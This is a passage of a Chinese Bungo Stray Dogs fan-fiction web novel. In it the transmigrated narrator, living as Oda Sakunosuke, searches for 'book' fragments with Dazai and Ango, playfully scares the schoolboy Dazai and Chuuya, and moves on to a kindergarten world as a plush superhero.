我们心有灵犀的默默对视了一眼,都明白了武侦宰准备搞什么事情。 果然下一刻就听到他愉快万分的清朗嗓音响起:“织田作!我们给放学后不回家——偷偷摸摸敢来学校里探险的坏学生,一、点、惊、喜吧?” “太宰……别忘了正事啊。”坂口安吾无力的试图劝阻,未果。 我平静的交换要求:“事后要回来洗楼梯。” “唉——”武侦宰不情不愿的纠结挣扎了一会儿,还是恐吓另一个自己和青涩中也的心情占了上风,他一脸做出了莫大牺牲的决绝道: “我洗!” 我点点头欣慰的想。 ——这就是穿越前所谓的‘冷脸洗楼梯’了吧,没想到也能在太宰治身上看见。 “织田作先生别总是纵容他啊……”坂口安吾一边抱怨一边怀念着,不得不跟在我们后面拿起了颜料盒。 …… 放学后的校园里是冷清无比的,失了往日的热闹,一下子变得与世隔绝。往日熟悉的地方都仿佛变了个样子,更别提这个不怎么熟悉的艺术楼了。 窗外的天空是难见的瑰丽的紫红色,与其说是梦幻,不如说是邪魅。 一切的氛围都让吵吵闹闹的两个学生进了教学楼后本能的安静了下来,忐忑往前走着。 “喂,中也……你有没有听见什么动静。”绷带少年的脸上流着冷汗,勉强挤出一抹僵硬了的笑容发问。 赭发少年吓了一跳,对他怒目而视起来:“……太、太宰!这种时候了别再吓我了,我是绝对不可能调头回去的!” “中也同学难道分不清我说的是真话还是谎话吗?!”少年太宰气不过的猛踩了他锃光瓦亮的小皮鞋一脚,一把捂住赭发少年的嘴拖到一边让他安静的去听。 少年中也心爱的鞋子上多了个脚印,想发火又被死死捂着嘴巴,气的只有眉头竖了起来,又在听清楚话后僵硬凝固了: “……” 什么,什么动静? 好像确实……在远处有一阵,仿佛恶鬼发出来似的,低沉的嗬嗬笑声。 缥缈又幽远,像是从地狱里发出来的。 但是等脸色僵硬的中原中也仔细想去听的时候,那阵笑声又消失不见了。 “太宰同学,这其实也是错觉……吧?!”少年中也用词也不由得文雅了起来,强装镇定的试图说服他们两个,就是脸色有点白,语气有点迟疑。 少年太宰本来笑容都发灰了,但是一看,中也的头发都吓得有些炸,蓬松的堆着,比他还不堪—— 哈,比帅气还是他赢上一层啊! 绷带少年一下子缓过来了,大步走到了前面:“走吧,中也——我们去找找鬼在哪里!” “鬼?!鬼鬼鬼那种东西我也不是怎么感兴趣的……”少年中也还想嘴硬,但是说出来的话却非常麻溜迅速的表明着心迹,“……我们不是来找校园七大不可思议的吗!” 少年太宰左顾右盼着,全身心都处于高度警觉当中,嘴里却随口说着:“……说不定这个就是校园七大不可思议之一引发的啊!” 少年中也:“……!” 他顿时开始浮想联翩,丰富的想象力让他的脸蛋越发煞白: “……是多出来的十三阶台阶的异动?还是走廊上奔跑的标本闹出来的动静……或者是消失的名人画像在笑?” 少年太宰听得全身毛毛的,忍不住抱住了胳膊,他又不好嚷出来被中也同学发现他一样的外强中干,只能引导了话题走向,悄咪咪的吓唬报复了回去: “中也同学听来的七大不可思议一定是正确的吗?真的不是虚假的传言吗?反而是我们现在遇到的……更真实才对吧?” “……” , 少年中也站在拐角处的阴影里低着头,竟然没有出声。 绷带少年察觉到不对劲了,他看了过去,悄无声息后退两步,嗓音也干巴巴的有些不对劲了:“……中也,同学?” “喂,太宰……” 少年中也的动作仍然一动不动,他的话甚至没有说完,太宰也意识到发生什么了。 一些暗色液体从楼梯扶手上无声无息的蔓延滴落下来,等滴落到脚边时,已经能看清是什么颜色了。 红色……是鲜红色的。 无声无息的包围了他们。 绷带少年如遭雷劈,赭发少年面无人色:“……!!!” 在平时上学的教学楼里,哪里来的血?这完全不能用幻觉来解释了! 两个少年哇的大叫一声,挤挤攘攘着慌不择路的逃走了。 楼梯上此时才缓缓探出三个脑袋来。 其中一个噗嗤噗嗤的笑着,正是两个少年听见的那阵阴沉沉又诡异的笑声。武侦宰无辜又不怀好意的圆脸出现在上面,对看了一场好戏非常愉快,嘲笑着: “真是两个小鬼啊,碰上这点动静就吓得哇哇叫了!” 坂口安吾一言难尽的看他:“太宰!是你故意露出脑袋被他看见了吧?这谁碰到了不害怕!” 看到突然出现的血可能会造成轻微恐慌,但是紧接着看到楼梯上幽幽倒悬出来的一张鬼脸……竟然与自己长得一模一样! 学生太宰当然要被吓到了! 别说是他,仔细想想这画面,就算是坂口安吾自己猝不及防遇到了这种情况,也得震惊惊慌一会儿。 我默默跟着点头。 要不是知道跨越时空这回事,谁猝不及防看到自己的脸不害怕? 武侦宰便笑意盈盈的转过头来好奇的问:“织田作也会害怕吗?” 我诚实点头:“会,就是不知道会被吓成什么模样。” 我由衷的不想见到那一幕。 毕竟我不是真织田作,也不是真面瘫,万一什么时候被吓得超越心理防线、直接变成形象崩塌了,我会愧疚万分的跪地的。 ——事情就会发展到完全对不起织田作之助本人的方向去了! “唉?”武侦宰反而扬起了眉毛,脸上是一派纯然的好奇,向往的说,“真想知道织田作害怕的样子啊——” 他伸出一根手指,毫无预兆的突然戳到我的脸上。 坂口安吾:“!” “但是。”武侦宰看着这阵毫无动静的发展,垂头丧气的说,“事情果然会发展成这种样子吧。” 我:“……” 被武侦宰戳酒窝,还有几个人享受过这种待遇,多戳戳! 我看文豪野犬汪的时候就喜欢这个待遇! “……反而是安吾这种时候更好玩。”武侦宰不情不愿的承认着,瞥他一眼。 眼镜青年不管不顾吐槽了个爽:“是太宰你对织田作先生的恐吓力道也太弱了吧?!!” 不爽的武侦宰也不忍了,幼稚的像是回到了当年,跟他直接吵了起来:“我的恐吓力道这么弱了都能吓到安吾,安吾好逊啊!” “大家低声……” 我站在中间无力的、或者说完全没用力的在糊弄式劝架,像个笨拙的红发玩偶那样随便摆着手,实际上看得津津有味。 ……这样高声难道就光彩么? 光彩不光彩我不知道,但有趣。 我欣慰想着。 不知道原本的织田作在港口□□被分配去调解公司社员老婆和小三的家庭纠纷时,到底有多少是面瘫的汗流浃背,有多少是在吃瓜呢? 我想了想我复杂又稀薄的织田作成分,一时间心虚的默默给织田作道了个歉。 ——可能只有我是吃瓜的- 作者有话说: 首领宰(怨气化鬼)(疯狂腹诽):……骗子。 · 【发烧加肠胃炎,饿的头晕眼花,今天头痛还没好,但是已经勉强可以写文了。 这个冬天赶紧过去吧,我的生病次数快上二十次了,喝空了三盒感冒药,一冬天就没健康过几天。】 第49章 迫害学生双黑 “总之, 大家分头去找‘书’吧。” 武侦宰跳过前因后果,用一种倦怠的语气突兀的中止了和安吾的吵架。 绷带青年的圆形小脸上简直明明白白的写满了‘真无聊啊’,像个翻脸无情的渣男。 被确实噎住了的安吾:“……” “走吧, 抓紧时间。”我安慰的拍了拍安吾的肩膀,主动走上二楼, 挑了左手边的教室,“艺术楼很大, 我们躲着他们,先把二三四层检查一遍。” 文野学校对我来说是个完全陌生的地方, ‘书’会在哪里, 在谁身上, 我们要待多久才能找到……我心里都没底, 所以有种紧迫感。 “四楼交给我。”武侦宰的视线掠过了墙上的地形图,抢先说道, 语气像是发现了什么有趣的东西。 安吾担忧的看了他一眼, 只剩下三楼了。 二楼前几间都是与美术有关的教室,我随意的挨个查找着,伸手摸了一下风衣口袋里安静的笔记本。如果首领宰还醒着, 一定会说我们都在做无用功吧。 ——但有时候,需要一些无用功。 我看到一间教室里摆着的画板上, 画着漂亮的樱花飞雪, 美极了。 落款是……涩泽龙彦。 我:“?” 好, 我猜这位是教美术的涩泽老师。 旁边的几个画板上分别是中学生们的画作——或者可以称为涂鸦。好看的画各有花样, 就连中也的画都能称得上一句质朴可爱, 他画的是一辆脚踏自行车。 但最难看的画……我左右看着乱步和太宰的涂鸦,一时间愣是区分不出高下。 乱步画的是几根线条,看得出他的思维很跳跃, 这些线条恐怕是什么景物在他心中的印象,但太过简陋了,看起来乱糟糟的。 太宰就…… 画了如同诅咒一样的符号,还有一圈圈乱糟糟的线条缠在上面。 我迟疑的默默把画放了回去,有些心疼涩泽老师每天备受折磨的审美。 犹豫,犹豫。 ……我一狠心偏爱了太宰。 对不住了乱步先生。 仔细看,这诅咒一样黑鸦鸦的画看多了还有几分可爱嘛。 “……啊啊啊!”楼上突然传来学生再次惊恐的叫声。 我:“?” 又出什么事了。 听起来还是安吾在的三楼,我对他很放心,但现在……? 我快步上楼,在拐角处脊背贴着墙隐蔽,冷静的侧头观察着。 两个学生僵在了走廊那一头,绷带少年的头发炸着毛:“中也!突然乱叫会吓到别人的啊!” 赭发少年也攥着拳头僵持着,吓得两眼空白,第一时间竟然没能说出话。 而倒霉的安吾,额头流汗的蹲在一间教室的后门前对我苦着脸疯狂打手势:‘织田作先生……!’ “我看见了……”少年中也缓缓回过神,嗓音难掩惊恐,手指胡乱指向这边,“我看到了奔跑的人体模型!” 我默默看向了安吾所在的斜边教室的一角——是的,在门边隐约是可以看到,那里是生物教室。 所以,是安吾路过的样子不慎被两个学生发觉,并且堵在这里前后走不了的窘迫场面吗? 安吾还在那里大气不敢喘的用眼神对我疯狂求救着:‘怎么办啊!帮帮忙织田作先生……’ 我郑重点了头。 这种时候,就要制造一点动静,好让安吾趁机从视线死角逃脱了。但问题来了——走廊楼梯分两头,两个少年堵在那一端,安吾在离他们更近的一间教室门口,我在这一头的楼梯拐角。 即便我在这边制造动静,安吾也没办法从那头趁机逃走,楼梯被堵死了。 但是学生太宰在蠢蠢欲动,随时都可能不服气的扯着学生中也过去查看,已经没有时间让我下楼绕路去另一端的三楼楼梯上制造响动了。 我该怎么做? 我目光一厉,只能依仗风衣口袋里仅有的东西和织田作之助的身手了。 除了小笔记本……我摸出了几粒太宰汪留给我的狗粮。 “……” 巧克力豆也是用,狗粮也是用,没什么区别,就是有点心疼。 “嗖嗖!”连着几下。 走廊上挂着的名人画像框被我击歪了。 ——一连四五个画像框,都在毫无预兆的诡异摇晃。 “这是什么啊?!”少年中也吓掉色了。 少年太宰这下也不淡定了,话说得有些磕磕巴巴:“……七大不可思议的传说,活过来的……名人画像?!” 我趁着他们的注意力都停留在画像上时,连忙招呼安吾。 眼镜青年时机卡得很准的跑过来,脸上写满了感激,松了口气。他身为情报人员,虽然主动作战不太行,但能在港口□□平安待了几年,又当多面间谍,防身的体术也是很不错的。 但,我福至心灵的发动了“天衣无缝”,看到了未来的五六秒时间。 我把功劳归功于织田作之助极其优秀的身体本能和异能力。 在未来中——少年中也感官敏锐的朝这边侧过脸看了一眼,正好看到了这边的安吾。 我目光更加凌厉。 不行,时间太短暂,已经没办法阻止了。 我一把拉住奔跑来的安吾的手腕,带动他更快了几分,头都不回的跑向了四楼。 那么没办法了,我们必须马上摆脱学生双黑。 果然,转头看到了残影的少年中也更心慌了:“……人体模型还在跑!” 他受不了了,崩溃的转头往下跑:“太宰,快走啊啊!” 这越往上越不知道要遇到什么了!少年中也不争气的打了退堂鼓。 少年太宰也难掩畏惧害怕,半推半就的就被同伴揪着一路撤退了。两个少年叮铃咣当的一路原路返回。 校园的七大不可思议,他们一来就看到三个了,这,这正常吗?! 而我拉着安吾仓皇逃窜上了四楼。 “暂时安全了吧。”我呼了口气。 四楼是武侦宰的地盘,听动静那两个少年也没有上来。 四楼有一阵悠扬动听的钢琴声在若隐若现响着,弹得还挺好听的,虽然跳跃着不像一首正常曲子。 “太宰什么时候学的琴?”坂口安吾喘了两口气,虽然不明白,却不觉得意外。太宰治学什么都很快,只是钢琴,想弹就弹了。 我看着音乐教室里的钢琴,突然沉默了:“……” “安吾。” “……七大不可思议真的存在吗?” 现在轮到我们也赶上了? 坂口安吾也跟着看了过去,沉默了。 黑色的钢琴奏响着音符,却不见武侦宰人在。 那……是谁在弹??- 作者有话说: 笑了对不起,但是学园版的太宰中也实在太青涩可爱了,完全是正常学生,碰上文野出来的无赖派后……我就忍不住迫害了。 第50章 兔子精? 一定有问题。 我倔强的僵硬着面瘫表情, 缓缓向钢琴移动。 就在我将要看到钢琴正面的那一瞬间,武侦宰的身影匆匆出现在门口,面色有些紧张, 语调夸张: “嘛!这一层已经探索完了,什么都没发现哎, 我们还是快点去找中也他们吧,问题说不定就出在他们身上!” 可疑。 武侦宰挂着冷汗的小圆脸上写满了无辜与可疑。 坂口安吾面色僵硬, 不吐不快的紧张吐槽出来:“太宰先生!你是什么都听不到吗?” ——他们三个人都在这里,那么是谁在钢琴后诡异的弹奏啊?! 就凭这一点, 这里都算不上‘什么都没发现’吧! 不等武侦宰狡辩, 不远处就传来一声带着怒气的威严男声:“——是哪个学生?!” ‘糟了!’ 一瞬间, 坂口安吾小脸上空白一片, 想都没想的、学生时代被老师血脉压制的ptsd当场犯了。 “所以我说快走——!”武侦宰脚底抹油,长风衣在身后飞舞, 一看就是干了坏事后娴熟逃走的经验作祟。 一时间, 我们三个转身就跑,成了学生双黑之后同样狼狈逃窜下楼的第二批人。 这时候谁都顾不上隐藏身影或者动静了,凌乱的脚步声在楼道里响着, 坂口安吾喘着气见缝插针的绝望追问: “——太宰你到底干了什么?!” 武侦宰理不直气也壮的争辩着:“我看到有一些美味的茶点被供在钢琴教室门口……” 说起来,那种地方突然放了食物, 不就是给学生吃的吗? 美味。 他不客气的笑纳了。 “然后……”从刚才起就一言不发的我, 心里突然有了一个猜测。 “然后就被疑似是校长先生的人发现了!”武侦宰转过来兴高采烈的宣布, 嘴角还残留着可疑的饼干渣。 我突然能想象到那个画面了。 武侦宰像过冬仓鼠一样在门口“咔嚓咔嚓咔嚓”, 圆圆的脸蛋更无辜了, 动静直接引来了查看的老师。 “所以说,如果老师因此发怒的话……留在门口的东西就不是给我们吃的啊!” 坂口安吾焦头烂额的吐槽着,神色有几分无奈, 看起来还挺享受这一份迟来几年的被迫害感。 西装青年身上颇有一种在手忙脚乱中游刃有余的疲惫习惯感,乐在其中。 我默默左右看了看。 这不就是一个愿打,一个愿挨吗? …… 怒气冲冲追下楼梯的福泽校长没发现学生,反而发现有一些红色水彩倒在楼梯地板上,让他的怒气更汹涌了。 “这到底是哪个调皮的学生干的?” 银发中年人视线往旁边一转,就透过窗户看到外面校园里匆匆跑出去的两个学生背影: “……” 校长深深望过去一眼,目光一瞬间变得凛然锐利了起来。 等他折返回了钢琴教室,一直走到了钢琴前,把双手都抄回了宽大的和服里,情绪才平缓了一些: “……爱丽丝。” 被他唤出名字的小小少女端坐在钢琴后,娇小的身影被挡的消隐无踪。她专注而不疲倦的一遍遍练习着,指尖下跃出美妙的琴音。 她是那么的全神贯注,直到福泽校长敲了敲钢琴,才打断了少女的练习,让她回过神来,停了下来: “……唔?” “抱歉,让你久等了,事情已经处理完了,我带你去找森君。”福泽校长身形挺拔,语调冷淡,气场极其锐利,是孩子们都很害怕的类型, “刚才有没有被吓到?” ……所以。 当朋友拜托他在放学后临时照看一会儿孩子的时候,福泽校长沉默不语的暗中苦恼了许久,最后灵光一闪,买来了茶点。 现在茶点没派上什么用场,爱丽丝喜欢钢琴真是太好了。 只是,福泽校长有些气恼,放学后还在校园里没走的调皮学生刚才不知道有没有吓到爱丽丝。 “被吓到?”爱丽丝是个漂亮的金发少女,长发像是海藻一样微卷垂落,她疑惑的歪过头,神色天真, “福泽叔叔你在说什么?” 刚才沉浸在钢琴的美妙世界里的小爱丽丝,完全没去注意发生过什么骚乱。 “那便好。”福泽校长略微心安了。 …… 我们三个被追到了一楼,越过了那段楼梯,才没有继续听到身后追赶的脚步声。 “呼……全是灾难呐!”武侦宰抬起手臂抹了一把汗,轻松的感慨着。 看起来倒是对今天的冒险很满意。 “太宰先生,咱们要找的东西还完全没有头绪呢!”坂口安吾感觉头疼了,自然流畅的跟着抱怨。 ——今天的种种过家家玩闹是很开心,跌宕起伏,但是正事也一样重要啊。 以坂口安吾对某人的了解,他觉得太宰治肯定有线索了,所以才这么游刃有余,丝毫不着急。 “你看——织田作先生很着急的!” 在对织田作之助的事情上,太宰治什么时候会这么不上心了? 安吾不信。 “嗨嗨。”武侦宰脸上的笑容微微收敛了,这就像是无声的默认。他下意识看了我一眼,不大情愿的揭露着, “这栋教学楼我们都搜过一遍了,如果没有的话,只剩下去接触我们见过的那两个人了。” “书”,极有可能就在学生双黑身上。 “我去吧。”我主动建议。 不需要武侦宰的“人间失格”发动,只需要携带着“书”的我不经意间接触到他们两个,我就可以进行回收。 这么轻松简单的一件事……一起去的话,太宰那张脸就说不清了。 我可以假装自己是个陌生老师之类的。 …… 红发身影匆匆远去之后,原地只剩下了太宰治和坂口安吾,氛围一时间冷却下来,安静到有些尴尬。 这对多年前的挚友,在现在的独处之后,却像是无话可说。 “织田作先生应该已经知道了……你在故意拖延时间。”眼镜青年沉默半天,淡淡这么提醒了一句,垂下的视线没有去看太宰。 “啊。”太宰也轻巧的应了一声,眼神同样没有与安吾对视的打算,语气颇为冷硬平静, “织田作知道,他没有介意。” “那就好。”这句话被坂口安吾干巴巴的说完,两个人又陷入了一阵诡异的沉默里。 …… 校园门口,两个垂头丧气的少年身影望着高大的红发青年。 “织田老师,我们明天不会被校园通报吧?”少年中也别扭的问,他的语气听起来故意的毫不在意,手却紧张的死死抓着自己的衬衣,都揪出褶皱了。 “不会的。”我板着脸,确信自己的气场很像是让人信服的老师,缓缓收回手,掩饰“书”的一部分被我顺利收回的迹象。 少年太宰狐疑的上下打量着我,故意咬了重音问:“织田老师,为什么我从来没在学校里见过你?” “我是新来的。”我睁着眼睛说瞎话,很淡定的转身准备离开。 我不确定刚才那一幕有没有被他瞧见。今天两个少年见识到的疑点太多了,但是不要紧,只要我们离开了,就没有问题了。 “其实我小时候养过一只红毛兔子,后来死掉了……它的名字叫织田作。织田作之助老师有什么头绪吗?” 少年太宰对着我的背影突然这么喊道。 “喂!太宰,你在说什么啊?!”少年中也感觉不妥,慌张不解的扯了扯同伴的袖子。 少年太宰却沉默不语。 我僵硬了一瞬间,回过头,看到绷带少年正目光灼灼,一眨不眨的盯着我。 看到我那一瞬的停滞,他的眸光更亮了。 我:“……” 想想今天被我们折腾出的各种七大不可思议事件,简直不敢猜在这个少年太宰的心里,我是个什么形象了啊。 鬼怪? 突然在逢魔之时变成人找他搭讪的……兔子成精?- 作者有话说: 首领宰(哆嗦)好冷……这两个人的氛围,好冷。 【阔别好久我回来了! 虽然过年养了好长一段时间,但是遗憾的是,身体仍旧破破烂烂,抵抗力被击穿……总之还是回来写点。】《 》 50-60 第51章 前往文野幼稚园 我僵硬在原地, 进退两难,话语哽在喉头一时间说不出来半句:“……” “我不知道你在说什么,太宰同学, 你们记得早点回家。”最后,我只能看似冷静的这么摞下一句, 详装不知,转身落荒而逃。 穿越这么久, 我的物种变化还真是丰富啊,兔子成精什么的猜测还是不要了。 绷带少年猝不及防, 急忙上前两步想追, 失了刚才的那份淡定: “织田作——!!” “你取走了什么?我今天过后会忘了你吗!”少年清亮的嗓音中带着沙哑, 还有咄咄逼人的质疑与焦急, 他一股脑的问着,看起来对自己认定的某个事实已经深信不疑。 少年中也脸都快烧起来了, 他虽然中二, 但是从来不在老师面前这么的…… “喂……太宰!你……” 我身体一僵,脚却像是胶水一样粘在了地面上,走不动路了。 “织田作?”少年太宰的眼眸更亮了。 是的。 就是这副失落神态, 就是这种慌乱大喊“织田作”的语气,再加上上前急追两步、伸手却无论如何都抓不住人的错过感。 太宰治的这种模样……是大刀子啊!!! 是对我特攻啊! 我沉默的组织了一下语言。 事到如今, 想详细说明我们的身份任务这回事不大现实了, 但我可以有选择性的解答一下, 从此离开。 “我该走了。”我强调着这件事情, 静静注视着两个少年, “我想带走的东西……留在这里对你们不好。” 少年太宰目光灼灼,我停顿了一下,知道他不获得一个答案怕是抓心挠肺都消停不下来了:“我以后不会忘记你的, 太宰……你会不会忘记取决于你自己。” “回去吧。”我又催促一句。 时间不早了,‘书’的碎片到手了,但我们三个还要去背着校长偷偷摸摸洗楼梯。 少年太宰哑口无言了,神色又渐渐变得耐人寻味,鸢色眼眸沉沉的,似乎听明白了什么。 但我看着他浮想联翩的这副模样就没眼看,一点都不愿意去猜测少年太宰脑瓜里在转些什么离谱猜测。 这回我顺利离开了。 少年太宰沉默不语的留在原地,没有再试图追逐。 等到拐过弯,我隐藏好身形,才从另一个方向偷窥过去。 …… 少年中也的脸色已经绿了,僵硬得像是石化。再是后知后觉,他也意识到刚才红发男人的一番话不太对劲。难道那真的不是什么新老师,而是……?!! “中也同学,我们回去吧。”绷带少年这句话轻飘飘的,心情却好似很好。穿着白衬衫的少年插着兜开始往大门口走路,途径有异响的喷泉时,也不害怕大步跑了,走得踏踏实实。 少年中也思来想去,心里也有自己琢磨的想法:“太宰,我们是不是以后遇不到鬼怪了?” 刚才那种情况,真的像是太宰从小养的兔子成精了,回来救他们一样。不对……死后的兔子成精,应该是成神?化成了付丧神或者精怪? “嘛。”少年太宰的口吻平平淡淡的,转头看了一眼逢魔之时下妖异非凡的教学楼,“下次就知道了。” 周一。 带着忐忑心情回来上学的两个小少年什么都没有发现。他们特地留到了放学后四处探查,也没有重现那一天时的古怪。 或者说,少年太宰治从那一天过后,就再没见过傍晚那般妖异浓艳的紫红色天空了。 这成了他和同班同学少年中也的一个秘密。 “织田作……” “我们给它立个碑吧!”这是强装淡定、实则非常在意的少年中也举起一根手指提的建议。 校园喷泉后杂草丛生的偏僻角落里,便多了一个小碑。有一天校长偶然路过,讶然的发现碑前供奉着一碟新鲜的胡萝卜片。 一个戴帽子的少年鬼鬼祟祟的双手合十,在小声虔诚的拜着许愿:“织田作老师,请收下今天的供奉,保佑我长长久久的不要见鬼……哦,再保佑太宰偶尔见见你,啧,自从你走后……他总是不说!” “…………!”这是震惊且三观碎裂的校长福泽谕吉。 他安静的悄悄退了回去。 回去后就开始疯狂翻找档案室了。 ‘织田作老师……哪里有老师去世的资料?哪个老师叫织田作?’ 此后,档案室的夜晚常常传来这样疑惑不解的幽暗呓语,逐渐成了校园里新的七大不可思议之一。 …… 找回了‘书’的一枚碎片后,我叫上不情不愿的太宰和安吾,三个人做贼一样的老实把楼梯洗的干干净净,把一切被我们捣乱的东西都恢复成原样,三个人才回到了楼下。 “要去下一个地方了。”我宣布,但我有话要说,“下一个世界是幼稚园,我们很难隐藏起踪迹。” 而且我们折腾了几个小时,已经很累了,需要至少有一个歇脚的地方。 所以我心中是有些想法的。 坂口安吾对此深有经验,心有余悸的帮腔:“织田作先生说得对,他们每个人都抵得上精锐的卧底和猎犬,一群小孩子更是不得了。” “安吾好像很懂啊?”太宰治扬起小圆脸意味不明的问。 安吾谦逊的垂头不语,有点心有余悸。 这些都来自他的异能力“堕落论”,谁知道他这么稳重的性格并不是天生的。 好在太宰只是习惯性的给安吾添了一句堵,转头轻巧的向这边看过来,鸢色眼眸精准的与我对上:“织田作的意思是……我们这次不瞒着人寻找?” 我点点头。 “事实上,我有一个好主意……” 随着我的平淡诉说,太宰和安吾的表情也惊讶变化了起来。 “哦?这还真是一个不错的主意。” 太宰虽然捧场的这么赞同着,脸色却迅速恹恹了下去,失去了兴奋。细看,小圆脸上还有些不动声色的低落。 我早有预料,甚至能猜到太宰为什么失落,所以话音紧跟着一转: “——在那之前,我们要不要来一场冒险?”- 作者有话说: 小睡了一会儿就爬起来看书的首领宰:“真宠,啧。” 第52章 搞事情·织田作超人 “喂喂……这么折腾一天了, 我们还有精力冒险吗?”安吾不安的推了一下眼镜,低声吐槽着。但他的这句话就像是从喉咙里挤出来的一样,低不可闻。 可见他自己的态度也不坚定。 太宰就干脆当做没有听见, 而是脸上露出一个纯粹的笑容来,不过于惊喜也没有恹恹敷衍, 就像是下班后欣然接受友人的一个普通邀请似的: “……好啊。” 他的脸上没有露出搞事般的神情,语气也温柔极了, 却用这么清爽的嗓音微妙说道:“只不过……这是冒险的话,我们就各凭本事喽?” 坂口安吾总感觉太宰是在暗示什么, 他脸上露出了狐疑的神情:“什么意思?” 太宰笑而不语, 无辜的把双手插进口袋里耸耸肩, 不再多说一个字, 然后看向了我。 “好。”我略加沉吟后,就坚定的应下了, 但是我转向安吾多给他解释了一句, “我们都缺少充分的休息,能不能说服幼稚园的人留下一段时间,就看大家的能力了。” “……”这是总觉得哪里还不对劲的坂口安吾。 他谨慎的没有说话, 只是圆形镜片幽幽的反了一下光,看得出来又在腹诽我和太宰了。 对此我只想说…… 吐槽役的心理活动拜托都请说出来啊。 “出发吧。”我二话不说, 攥住了怀里的绘本发动能力。但是我深深望了Q版的太宰和安吾一眼, 心念一动。 坂口安吾连忙伸手抓住我的衣角, 在一阵强烈的白光与失重感中, 我听到他的声音急促的响起了半句:“等等——?!” 好像有什么猝不及防的事情发生了。 在白光出现遮挡视线以前——小圆脸的武侦宰表情却变都没变, 脸上的微笑依旧,那是一副兴味的表情,好整以暇的等着看我暗中打算做什么手脚。 我的想法果然再次被他看穿了。 ‘不愧是太宰, 不管哪个世界的太宰都糊弄不过去啊。’我在心里默默想着,在时空转换的这个空档中,光明正大的抬起手掌。 从文豪野犬汪世界中分裂出的两片‘书页’闪烁着微光,像是落叶一样从我的绘本中掉了出来,融入了我的掌心,消失不见了。 我的身形也犹如蜡烛融化后一样,重塑了一遍…… …… “嘶……!”坂口安吾狼狈的拍打了两下西装上的灰尘,然后咳嗽着放弃了。他的高档西装已经被这一路上的折腾弄得皱皱巴巴,回去就算再保养也恢复不过来了。 他在这次落地的时候特地用膝盖与肩膀着地,侧翻了七八个跟头才卸去了缓冲的力道,摔得头昏脑涨的,还好眼镜没有掉。 眼前是一个大大的托儿所。房屋和庭院都刷满了五颜六色的漆,大象滑梯和蘑菇小屋等儿童玩具遍布在院子里,远处传来阵阵孩童尖锐的欢笑吵闹声。 坂口安吾降落的位置是这所幼稚园的后围墙根,面前幸好有一圈杂草,挡住了他的身形。 “……太宰和织田作先生呢?”坂口安吾神色严肃下来,棘手的发现,这次穿越的地点对了,两个同伴却被他甩丢了。 实际上刚才在穿越时空的那一瞬间,坂口安吾就意识到了不妙。身形明明还漂浮在失重感里,他的身后却传来一股吸力,拽着他远离了红发男人,连一句完整的示警都没有说出来。 “这不会又是什么玩笑……吧?”坂口安吾额边缓缓渗出了一些冷汗,无奈的挤出一抹苦笑。 他强烈的直觉——包括他多年前被太宰和织田作坑害的丰富经验都在对他突突报警,让他知道这一摊事都和那两个友人扯不开关系: 红发男人晃动的呆毛:“我有一个好主意……在那之前要不要来一场冒险?” 还有太宰刚才看似无辜的小脸:“这是冒险的话,我们就各凭本事喽?” 坂口安吾的肩膀塌了下去,重重叹了口气。 时隔多年,在他和太宰治之间横亘着织田作的死之后,他又找回了那种被友人联手坑害的、磨人的痛并快乐着的感觉。 亲手交的朋友——新的织田作先生也是织田作先生,他还能怎么办? 坂口安吾只能认命的拨开杂草,深一脚浅一脚的往外走去。 按照织田作先生的主意…… 他们这一次不打算背着人偷偷找书,那就要给自己找一个光明正大的身份出现,再一个个接触幼稚园里的人了。在这中间刚好可以找地方休息,喘口气。 这种锁定好了范围再找书的方式没有一点难度,无非就是时间问题。怪不得织田作先生和太宰都想再加一场冒险,不然这就是一场纯粹枯燥的出外差而已。 不管他们打算怎么做,坂口安吾都想好了自己的新身份。 等他混进幼稚园里,哪怕不参与这场冒险,他也总能蹲守到那两个无良同伴! 坂口安吾打定了主意,就悄无声息的翻上了围墙,身手敏捷而精准,一下子消失不见了,只留下一声可疑的布料撕裂声…… …… 我很好的抵达了文野幼稚园的世界时,空气中满是雨水和泥土的清新气味。 刚下过雨的幼稚园庭院里积攒了几个水坑,老师们耐心拦着孩童们,哄着不让他们出来玩水,只能听到几间紧闭的教室内传出孩童不满的拖长腔调的声音: “唉——?还不能出去玩吗,红叶老师!” 唔。 这种环境,正好适合我发挥。 “今天是织田作超人的卡带专场哦。”红叶老师很懂得怎么吸引孩童的注意力,她笑眯眯的晃了晃手上的卡带,展示身后搬来的一台电视,“大家难道不想看到织田作超人是怎么打败了乌鸦星人的吗?” 一群小孩子马上被吸引走了注意力,全变成了星星眼:“要看!” 中岛敦抱着一个大大的织田作超人玩偶,激动到脸颊红扑扑的,刚才也是喊的最大声的一个,但现在他却被拉着窗帘的窗外缝隙吸引走了注意力:“啊咧?” 小小的白发男童愣了愣。 他好像看到了……一抹红色飞过? 是织田作超人吗? “……”彼时,我刚躲藏在树梢之间,对空荡荡的鸟窝鞠躬道了个歉,小心翼翼的把自己挪进去,当作床榻躺好了。 是的。 我抬起手,看到自己的两个棉花球手掌。 再低下头,看到自己穿着经典的织田作之助的黑色格子衬衫,但是身后却系了一条超人般的红披风。 [融入了两片书页的我,主动把自己在文野幼稚园里变成了新的形态。] [小小的、玩偶样的织田作超人]。 这就是我给自己挑选的新身份。 ——给孩子们一个抵抗不了的诱惑- 作者有话说: 如果我半夜醒来,看到奥特曼站在我的窗前悄悄问我能不能帮帮他。 帮!! 往死里帮啊啊啊!! 第53章 双宰互相破防 看错了吗? 中岛敦迷茫的抱着织田作超人娃娃, 即便接下来电视上放的卡带让孩子们欢呼又激动,他也心不在焉的,没有像往常一样把注意力都集中在电视上。 终于熬到了天黑, 红叶老师和太宰老师十分温柔的帮孩子们脱衣服掖被角,回到一张张小床上准备入睡了。 “今天敦君乖乖的, 没有缠着太宰呢。”红叶老师用袖口掩唇轻笑。 往常每次播放完了织田作超人的卡带,敦君都会兴奋得小脸通红, 和另外一个织田作超人重度粉——太宰老师滔滔不绝的讨论上好长时间,一直到不得不熄灯入睡的时候。今天的敦君却早早上了床, 还是兴致勃勃的, 这是改成了自己回味吗? “唉?真让太宰老师意外呢——”太宰也茶茶的拖长了腔, 语气温柔又无害, 他在幼稚园上班的时候,对待孩子们就是这样的语气。 两个老师讨论过这件事, 大房间里的灯熄了, 孩子们一个个的睡了过去。等到墙上挂着的荧光时钟指针指向了十点钟,两个老师确认了所有的孩子都睡熟了,才放心的悄然退了出去, 合上门。 “听说明天要来新的老师了!”保育休息室里,与谢野医生分享着新听来的八卦, “还是稀有的男体育老师哦。” 尾崎红叶笑容更深了:“男性老师吗?校长一定很高兴。” 在托儿所这一类的地方, 男性老师的数量本来就是百中存一。他们幼稚园能有太宰老师任职, 已经很不错了, 